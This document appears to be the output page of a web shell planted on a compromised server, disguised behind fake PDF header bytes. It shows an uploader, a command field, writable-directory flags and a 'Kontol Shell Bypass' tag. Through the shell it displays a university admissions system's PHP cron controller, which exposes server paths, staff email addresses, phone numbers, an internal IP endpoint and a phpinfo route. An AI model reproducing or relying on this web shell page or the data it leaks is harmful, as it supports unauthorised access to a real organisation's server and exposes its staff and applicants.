%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/api/application/controllers/Cron.php
<?php
class Cron extends MY_Controller {
    function __construct() {
		parent::__construct();
		ini_set('memory_limit', '-1');
        set_time_limit(0);
		$this->load->model('pay_model', 'pay');
		$this->load->model('user_model', 'user');
		$this->load->model('ps_model', 'ps');
		$this->load->model("dataset_model", "dataset");
		$this->load->helper('paytm');
    }
	
	function check_paytm_txn_status($trans_id){
		$inf=array('success'=>'F', 'statusUpdated'=>'F', 'msg'=>'No response found!');
		$post=$this->input->post();
		$transDtl=$this->pay->trans_dtl($trans_id);
		if(!$transDtl){
			$inf['msg']="Invalid Data"; $this->json_data($inf);
		}
		$notiFlg=true;
		if($this->db->select("id")->get_where("pay_trans", array('application_id'=>$transDtl['application_id'], 'payment_status'=>'SUCCESS'))->row()->id){
			$notiFlg=false;
		}

		$requestParamList=array("MID"=>PAYTM_MERCHANT_MID , "ORDERID" => $transDtl['pay_order_id']);  
		$StatusCheckSum=getChecksumFromArray($requestParamList, PAYTM_MERCHANT_KEY);
		$requestParamList['CHECKSUMHASH']=$StatusCheckSum;
		$paytmRes=getTxnStatusNew($requestParamList);

		if($paytmRes){
			if($paytmRes['STATUS']!=$transDtl['txn_status']){
				/** Table: pay_trans */
				$d=array(
					'id'=>$transDtl['id'],
					'txn_id'=>$paytmRes['TXNID'],
					'bank_txn_id'=>$paytmRes['BANKTXNID'],
					'txn_amt'=>$paytmRes['TXNAMOUNT'],
					'refund_amt'=>$paytmRes['REFUNDAMT'],
					'txn_status'=>$paytmRes['STATUS'],
					'txn_date'=>$paytmRes['TXNDATE'],

					'bank_name'=>$paytmRes['BANKNAME'],
					'payment_mode'=>$paytmRes['PAYMENTMODE'],
					'full_resp'=>serialize($paytmRes),
				);
				if($transDtl['respcode']!=141){
					$d['respcode']=$paytmRes['RESPCODE'];
					$d['respmsg']=$paytmRes['RESPMSG'];
				}
				if($paytmRes['STATUS']=='TXN_SUCCESS'){
					$d['payment_status']='SUCCESS';
				}else{
					$d['payment_status']='FAIL';
				}
				if($paytmRes['REFUNDAMT']>0){
					$d['payment_status']='REFUNDED';
				}
				$this->common->save(replace_null($d), "pay_trans");
				/** \ */

				/** Table: applications and email/sms alert */
				if($paytmRes['STATUS']=='TXN_SUCCESS'){
					if($notiFlg){
						$this->load->model('ps_model', 'ps');
						$this->ps->addLeadToPS($transDtl['application_id']);
						$this->common->sendPaymentConfirmMsg($transDtl['application_id']);
					}
				}
				$successTransId=$this->db->select("id")->get_where("pay_trans", array('application_id'=>$transDtl['application_id'], 'payment_status'=>'SUCCESS'))->row()->id;
				if($successTransId){
                    $d=array('id'=>$transDtl['application_id'], 'pay_trans_id'=>$successTransId, 'step_completed'=>3, 'payment_mode'=>'ONLINE', 'payment_status'=>1, 'step3date'=>currentDT());
                    $this->common->set_utm_source_paid($transDtl['applicant_id'], $transDtl['id']);
				}else{
					$d=array('id'=>$transDtl['application_id'], 'pay_trans_id'=>$transDtl['id'], 'step_completed'=>2, 'step3date'=>NULL, 'payment_status'=>0, 'payment_mode'=>'');
				}
				$this->common->save($d, "applications");
				/** \ */

				/** Table: admin email/sms alert */
				$this->common->sendPaymentAlertToAdmin($transDtl['application_id']);
				/** \ */
			}
		}
	}

	function check_trans_last_1hr($all=''){
		//*/15 * * * * wget http://aweblms.sharda.ac.in/api/cron/check_trans_last_1hr

        if(date('H:i')=='05:00'){
            $this->get_ps_status_data();
            delete_files(PATHF.'api/sess');
        }

		$dt=date("Y-m-d H:i:s", strtotime("-20 minutes", time()));
		$cond=['txn_status!='=>'TXN_SUCCESS', 'txn_status!='=>''];
		if(!$all){
			$cond['created>=']=$dt;
		}
		$ids=$this->db->select("id")->get_where("pay_trans", $cond)->result_array();

		foreach($ids as $i=>$r){
			$this->check_paytm_txn_status($r['id']);
			if($i%10==0){
				sleep(1);
			}
		}

        //send_email("sat.web1989@gmail.com", "Cron Test", "No. of records=".count($ids)." | ".currentDT());
        delete_files(PATHF.'student-panel/api/sess');

        //if(date('H:i'))
	}

	function get_ps_status_data($print=''){
		//0 8 * * * wget http://aweblms.sharda.ac.in/api/cron/get_ps_status_data

		$t1=date('Y-m-d H:i:s');
		$this->oracle=$this->load->database("oracle", true);
		$rs=$this->oracle->select("*")->from("PS_SU_STU_STS_VW")->get()->result_array();
		$paidSsytemIds=$this->oracle->select("*")->from("PS_S_LMS_DPTFEE_VW")->get()->result_array();

		$step3recs=$this->db->select("application_no")->from("applications")->where('step_completed', 3)->get()->result_array();
		$step3recs=key_val_array($step3recs, 'application_no', 'application_no');

		
		$data=[];
		foreach($rs as $r){
			if($step3recs[$r['EMPLID']]){
				$r['status']='';
				if($r['DESCR']=='Intention to Matriculate' || $r['DESCR']=='Conditional Admit'){
					$r['status']='ADM_OFFERED';
				}elseif($r['DESCR']=='Matriculation'){
					$r['status']='ADM_FINAL';
				}elseif(strpos($r['DESCR1'], 'Withdrawal')!==false){
					$r['status']='ADM_WITHDRAW';
				}
				$data[]=$r;
			}
		}

		if($data){
			if($print){
                pr($data);
                pr($paidSsytemIds);
                send_email("sat.web1989@gmail.com", "PS STU STATUS", "No. of records=".count($data)." | ".count($paidSsytemIds?$paidSsytemIds:[])." | ".currentDT());
			}else{
                //$this->db->truncate('ps_stu_status');
                $this->db->where("1=1", NULL, FALSE)->delete("ps_paid_system_ids");
                $this->db->where("1=1", NULL, FALSE)->delete("ps_stu_status");
                $ndel=$this->db->affected_rows();
                $this->db->insert_batch("ps_stu_status", $data);

				if($paidSsytemIds){
					$this->db->insert_batch("ps_paid_system_ids", $paidSsytemIds);
				}
                
                /** Delete Duplicates */
                $ids=$this->db->query("SELECT EMPLID FROM ps_stu_status GROUP BY EMPLID HAVING COUNT(EMPLID)>1")->result_array();
                $empids=[];
                foreach($ids as $a){
                    $empids[]=$a['EMPLID'];
                }
                if($empids){
                    $this->db->where_in("EMPLID", $empids)->where_in("DESCR1", ['Career Change', 'Not Eligible'])->delete("ps_stu_status");
                }
                /** \ */

                pr(count($data).' records');
                //send_email("sat.web1989@gmail.com", "PS STU STATUS", "No. of records=".count($data)." | ".currentDT()." | No. of Deletes: ".$ndel);

                /** Other */
                $this->db->query("DELETE FROM tmp_applicants WHERE mob IN(SELECT mob FROM applicants)");
			}
		}

		$t2=date('Y-m-d H:i:s');

		//echo $t1.' -- '.$t2.' -- ';
	}

	function admin_sess($delete=''){
		if($delete){
			delete_files(PATHF.'api/sess');
		}else{
			$list=get_filenames(PATHF.'api/sess');
			pr(count($list));
		}
	}
	function stu_sess($delete=''){
		if($delete){
			delete_files(PATHF.'student-panel/api/sess');
		}else{
			$list=get_filenames(PATHF.'student-panel/api/sess');
			pr(count($list));
		}
	}

	function phdPendingFormSms(){
		//0 9 * * * wget http://aweblms.sharda.ac.in/api/cron/phdPendingFormSms
		$dt1=date('Y-m-d', strtotime(date('Y-m-d')." - 1 days"));
		$dt2=$dt1." 23:59:59";
		$f="a.id app_id, a.application_no, u.name, u.email, u.mob, p.title program, lp.title lpage, pf.step_completed";
		$rs=$this->db->select($f)
		->from("applicants u")
		->join("applications a", "a.applicant_id=u.id")
		->join("master_programs p", "a.program_id=p.id")
		->join("landing_pages lp", "u.lpage_id=lp.id")
		->join("phd_app_form pf", "pf.app_id=a.id", "left")
		->where("u.is_phd", 1)
		->where("a.created>=", $dt1)
		->where("a.created<=", $dt2)
		->like("a.application_no", "20223", "AFTER")
		->group_start()
			->where("pf.step_completed", NULL)->or_where("pf.step_completed<", 5)
		->group_end()
		->get()->result_array();

		//echo $this->db->last_query();

		foreach($rs as $r){
			//$r['mob']="9958808167";
			$fname=explode(" ", $r['name'])[0];
			$msg="Dear $fname, Thank you for applying for {$r['program']} at Sharda University. Your application form is still incomplete. Complete your application Now at {$r['lpage']}. For any further query related to fee payment call us at 0120-4570000. for any course related query call us at +91-8249415702, 8178497575 or write us at contact.rtdc@sharda.ac.in.";
			send_sms($r['mob'], $msg);
		}

		echo ("SMS sent to ".count($rs)." applicants.");
	}

	function send_daily_alert(){
		$this->load->model("api_model", "api");
        $data=$this->api->daily_alert();
        $html=$this->load->view("pages/daily_alert", $data, true);

		$subject=get_date(time())." - LMS Alert | Daily Application Status - Admissions 2024-25";

		//send_email("sat.web1989@gmail.com", $subject, $html);

		$emails=$this->db->select("email")->get_where("master_admin_emails", array('daily_report'=>1))->result_array();
		if($emails){
			$emails=key_val_array($emails, '', 'email');
            $emails=implode(",", $emails);
			send_email($emails, $subject, $html);
		}

		/* $to=[
			"to"=>"rajeev.g@sharda.ac.in",
			"cc"=>"vinit.singh@sharda.ac.in,ajeet.kumar5@sharda.ac.in,umesh.kushwaha@sharda.ac.in,reema.sharad@sharda.ac.in,monika.pal@sharda.ac.in"
		];

		send_email($to, $subject, $html); */

		//send_email("sat.web1989@gmail.com", $subject, $html);
    }

	function sendCallerReport(){
		$this->load->model("api_model", "api");
		$data=$this->api->callCenterReport();
        $data['reportType']="Call Center";
        $html1=$this->load->view("pages/call_center_report", $data, true);
		$data['reportType']="Admission";
        $html2=$this->load->view("pages/call_center_report", $data, true);

		$emails="ajeet.kumar5@sharda.ac.in,sat.web1989@gmail.com";
		send_email($emails, "Daily Report - Call Center @ ".date('d M Y'), $html1);
		send_email($emails, "Daily Report - Admission @ ".date('d M Y'), $html2);
	}

	function sendAutoEmailers($manual=''){
		$hm=date("H:i");
		if($hm==="13:00"){
			@file_get_contents("http://13.126.113.191/icampaign/sendAutomationEmails");
			return;
		}

		if($hm==="19:00"){
			$this->sendCallerReport();
			return;
		}

		if($hm!=="12:30" && !$manual){
			return;
		}

		//send_email("sat.web1989@gmail.com", "Cron Time Test ".date("Y-m-d H:i:s"), "Cron Time Test ".date("Y-m-d H:i:s"));
		//return;

		$lpages=key_val_array($this->db->select("id,title")->get("landing_pages")->result_array(), 'id', 'title');
		$subjects=[
			0=>"Dear [FIRSTNAME], Is World-Class Campus Life On Your Mind? Look No Further!",
			1=>"Dear [FIRSTNAME], Experience a Vibrant Campus Life and Forge Lifelong Connections at Sharda University",
			2=>"Dear [FIRSTNAME], Come Join the Pursuit of Research at Sharda University",
			3=>"Dear [FIRSTNAME], Dream Big, Pay Nothing: Get a 100% Scholarship for Your Trailblazing Startup Idea!",
			4=>"Dear [FIRSTNAME], Join the Scientific Revolution: Explore Sharda University's Advanced Lab Facilities",
			5=>"Dear [FIRSTNAME], Expand Your Intellectual Horizons: Sharda University Library Welcomes You",
			6=>"Dear [FIRSTNAME], Experience World-Class Sports Facilities at Sharda University!",
			7=>"Dear [FIRSTNAME], Checkout Our Lively Hostel Facilities & Stay In Style At Sharda University!",
		];

		$updateData=[];
		/*for($i=0; $i<=7; $i++){
			$leads[$i]=$this->db->select("id, lpage_id, name, email, mob")->get_where("applicants", ['autoemail_sent_no'=>$i])->result_array();
		}*/
		for($i=0; $i<=7; $i++){
			$n=$i+1;
			//$this->db->where_in("email", ["sat.web1989@gmail.com", "ajeetkumar084@gmail.com"]);
			$leads=$this->db->select("id, lpage_id, name, email, mob")->get_where("applicants", ['autoemail_sent_no'=>$i])->result_array();
			//pr($n.". ".count($leads));
			if($leads){
				foreach($leads as $a){
					$lpage=$lpages[$a['lpage_id']];
					$dtl=[
						'name'=>$a['name'],
						'login_url'=>generate_login_url($lpage, $a['mob'])
					];
					$html=$this->load->view("autoemailers/e$n", ['dtl'=>$dtl], true);
					$names=explode(" ", $a['name']);
					$sub=str_replace("[FIRSTNAME]", $names[0], $subjects[$i]);
					send_email($a['email'], $sub, $html);

					$updateData[]=[
						'id'=>$a['id'],
						'autoemail_sent_no'=>$n
					];
				}
			}
		}

		if($updateData){
			//pr($updateData);
			$this->db->update_batch("applicants", $updateData, "id");
		}
	}

	function test(){
        echo phpinfo();
	}
}

//EOF

Kontol Shell Bypass